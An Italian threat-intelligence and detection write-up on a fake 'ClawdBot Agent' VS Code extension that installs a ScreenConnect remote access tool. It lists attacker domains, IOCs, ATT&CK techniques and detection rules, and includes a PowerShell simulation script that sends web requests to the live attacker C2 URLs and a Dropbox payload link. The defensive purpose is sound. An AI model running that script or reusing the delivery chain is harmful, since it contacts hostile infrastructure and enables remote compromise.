Estensione ClowdBot falsa di VS Code installa ScreenConnect RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Un’estensione di Visual Studio Code dannosa chiamata ClawdBot Agent si spaccia per un assistente di codifica AI ma installa furtivamente uno strumento di accesso remoto ScreenConnect armato su Windows quando viene avviato VS Code. All’avvio, l’estensione preleva un file di configurazione da un dominio controllato dall’attaccante, quindi scarica e esegue un falso binario di VS Code (Code.exe) insieme a DLL di supporto. Come percorso di consegna secondario, può recuperare lo stesso installer da un link Dropbox per mantenere la disponibilitĂ del payload. La campagna abusa di uno strumento di supporto IT affidabile per mimetizzarsi con attivitĂ di amministrazione remota legittima e ridurre i sospetti.
Indagine
I ricercatori hanno acquisito il package.json dell’estensione, confermato l’attivazione all’avvio di VS Code e recuperato la configurazione JSON remota elencante i componenti dannosi. L’analisi binaria ha mostrato moduli ScreenConnect firmati che inviavano segnali a un server di inoltro personalizzato. Ulteriore logica di ritorno è stata trovata in JavaScript e PowerShell, facendo riferimento a domini secondari e payload ospitati su Dropbox. Sono stati osservati artefatti su disco sotto la cartella %TEMP%Lightshot.
Mitigazione
Rimuovere l’estensione ClawdBot Agent da VS Code ed eliminare i file rimanenti dalla posizione di installazione di ScreenConnect e dalla directory %TEMP%Lightshot. Disinstallare il servizio client ScreenConnect e bloccare la connettivitĂ in uscita ai domini e agli IP di inoltro identificati. Ruotare eventuali chiavi API o segreti che possono essere stati inseriti nell’estensione.
Risposta
Rilevare l’estensione dannosa monitorando le installazioni delle estensioni VS Code e la creazione della directory Lightshot. Segnalare l’esecuzione di binari Code.exe o ScreenConnect da percorsi non standard e su connessioni in uscita a meeting.bulletmailer.net:8041 o l’indirizzo IP associato. Eseguire analisi forensi sull’host per confermare la rimozione della persistenza e identificare eventuali payload aggiuntivi.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffe599 classDef server fill:#c2f0c2 classDef process fill:#d9d9d9 %% Technique nodes tech_software_ext[“<b>Tecnica</b> – <b>T1176 Estensioni software</b><br/>Gli avversari abusano delle estensioni per eseguire codice, mantenere persistenza o esfiltrare dati.”] class tech_software_ext action tech_ide_ext[“<b>Tecnica</b> – <b>T1176.002 Estensioni IDE</b><br/>Uso di estensioni IDE per eseguire codice malevolo o ottenere persistenza.”] class tech_ide_ext action tech_user_exec[“<b>Tecnica</b> – <b>T1204.002 Esecuzione dell’utente: file malevolo</b><br/>La vittima esegue un file dannoso.”] class tech_user_exec action tech_app_layer[“<b>Tecnica</b> – <b>T1071.001 Protocollo di livello applicativo: Web</b><br/>Uso di HTTP/HTTPS per comunicazioni C2.”] class tech_app_layer action tech_fallback[“<b>Tecnica</b> – <b>T1008 Canali di fallback</b><br/>Percorsi alternativi di comunicazione.”] class tech_fallback action tech_powershell[“<b>Tecnica</b> – <b>T1059.001 PowerShell</b><br/>Esecuzione di comandi e download di file.”] class tech_powershell action tech_rat[“<b>Tecnica</b> – <b>T1219 Strumenti di accesso remoto</b><br/>Controllo remoto dei sistemi compromessi.”] class tech_rat action tech_dll_inject[“<b>Tecnica</b> – <b>T1055.001 Iniezione DLL</b><br/>Iniezione di DLL malevole in processi attivi.”] class tech_dll_inject action tech_appcert[“<b>Tecnica</b> – <b>T1546.009 AppCert DLL</b><br/>Caricamento DLL tramite AppCert.”] class tech_appcert action tech_appinit[“<b>Tecnica</b> – <b>T1546.010 AppInit DLL</b><br/>Caricamento DLL all’avvio del sistema.”] class tech_appinit action %% Artifact nodes ext_clawdbot[“<b>Strumento</b> – ClawdBot Agent VS Code Extension”] class ext_clawdbot tool activation_event[“<b>File</b> – activationEvents \”onStartupFinished\””] class activation_event file init_core[“<b>Azione</b> – initCore() all’avvio di VS Code”] class init_core action c2_domain[“<b>Server</b> – clawdbot.getintwopc.site”] class c2_domain server fallback_urls[“<b>Server</b> – URL di fallback codificati”] class fallback_urls server ps_script[“<b>Script</b> – Script PowerShell”] class ps_script file lightshot[“<b>File</b> – Lightshot.exe / Lightshot.dll”] class lightshot file darkgpt[“<b>Server</b> – darkgptprivate.com”] class darkgpt server code_exe[“<b>Malware</b> – Code.exe”] class code_exe file relay_server[“<b>Server</b> – meeting.bulletmailer.net:8041”] class relay_server server dwrite_dll[“<b>File</b> – DWrite.dll malevola”] class dwrite_dll file screenconnect_proc[“<b>Processo</b> – ScreenConnect”] class screenconnect_proc process %% Connections ext_clawdbot –>|usa| tech_software_ext ext_clawdbot –>|usa| tech_ide_ext ext_clawdbot –>|definisce| activation_event activation_event –>|attiva| init_core init_core –>|recupera config da| c2_domain c2_domain –>|fornisce| tech_app_layer init_core –>|usa fallback| fallback_urls fallback_urls –>|fornisce| ps_script ps_script –>|esegue| tech_powershell tech_powershell –>|scarica| lightshot lightshot –>|eseguito come| tech_user_exec lightshot –>|consegnato come| code_exe code_exe –>|usa| tech_rat code_exe –>|contatta| relay_server relay_server –>|abilita| tech_app_layer code_exe –>|carica| dwrite_dll dwrite_dll –>|registrata per| tech_appcert dwrite_dll –>|registrata per| tech_appinit dwrite_dll –>|iniettata tramite| tech_dll_inject tech_dll_inject –>|bersaglio| screenconnect_proc screenconnect_proc –>|esegue| dwrite_dll tech_fallback –>|copre| fallback_urls
Flusso di Attacco
Rilevamenti
Software di Accesso/Manutenzione Remoto Alternativo (tramite process_creation)
Visualizza
Download o Upload tramite Powershell (tramite cmdline)
Visualizza
Software di Accesso/Manutenzione Remoto Alternativo (tramite audit)
Visualizza
Software di Accesso/Manutenzione Remoto Alternativo (tramite sistema)
Visualizza
IOC (DestinationIP) per rilevare: Installazioni di Clawdbot VS Code Extension Fake ScreenConnect RAT
Visualizza
IOC (SourceIP) per rilevare: Installazioni di Clawdbot VS Code Extension Fake ScreenConnect RAT
Visualizza
IOC (HashSha256) per rilevare: Installazioni di Clawdbot VS Code Extension Fake ScreenConnect RAT
Visualizza
IOC (Email) per rilevare: Installazioni di Clawdbot VS Code Extension Fake ScreenConnect RAT
Visualizza
Installazioni di ClawdBot Fake VS Code Extension ScreenConnect RAT [Creazione Processi Windows]
Visualizza
Rilevamento di Clawdbot VS Code Extension Fake Installando ScreenConnect RAT [Connessione di Rete Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: Il Controllo di Pre-Volare Telemetry & Baseline deve essere passato.
Narrativa dell’Attacco & Comandi
- L’attaccante pubblica un’estensione VS Code trojanizzata intitolata “Clawdbot Helper”.
-
La vittima installa l’estensione tramite il Marketplace di VS Code, che esegue uno
postinstallscript che rilascia silenziosamente il client ScreenConnect (ScreenConnect.Client.exe) in%APPDATA%ScreenConnect. - Immediatamente dopo l’installazione, il client avvia tre connessioni TCP in uscita ai domini C2 controllati dall’attaccante per recuperare payload aggiuntivi e segnalare lo stato dell’host.
-
Le connessioni in uscita generano record Sysmon Event ID 3 corrispondenti al
elenco dest_ip, soddisfacendo la regola di rilevamento.
Script di Test di Regressione
# --------------------------------------------------------------
# Simulazione di routine post‑install dell'estensione VS Code dannosa
# --------------------------------------------------------------
# Passo 1 – Rilasciare un binario fittizio ScreenConnect (simulato)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Creare un binario segnaposto innocuo (ad es. una copia di notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force
# Passo 2 – Avviare connessioni in uscita a ciascun host C2
$c2Hosts = @(
"http://meeting.bulletmailer.net/collect",
"http://clawdbot.getintwopc.site/payload",
"https://www.dropbox.com/s/evilpayload.exe"
)
foreach ($url in $c2Hosts) {
try {
# Richiesta web silenziosa; -UseBasicParsing evita prompt UI
Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
Write-Host "Contattato $url"
} catch {
Write-Host "Impossibile contattare $url (aspettato in un sandbox)."
}
}
# Fine del script – a questo punto Sysmon dovrebbe aver registrato tre
# eventi NetworkConnect i cui valori DestinationIp corrispondono alla regola.
Comandi di Pulizia
# --------------------------------------------------------------
# Rimuovere artefatti simulati
# --------------------------------------------------------------
# Arrestare eventuali job PowerShell in sospeso (nessuno in questo script semplice)
Get-Job | Remove-Job -Force
# Eliminare la cartella del client ScreenConnect fittizio
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force
# Opzionalmente, svuotare il buffer Sysmon (richiede admin)
# sysmon -c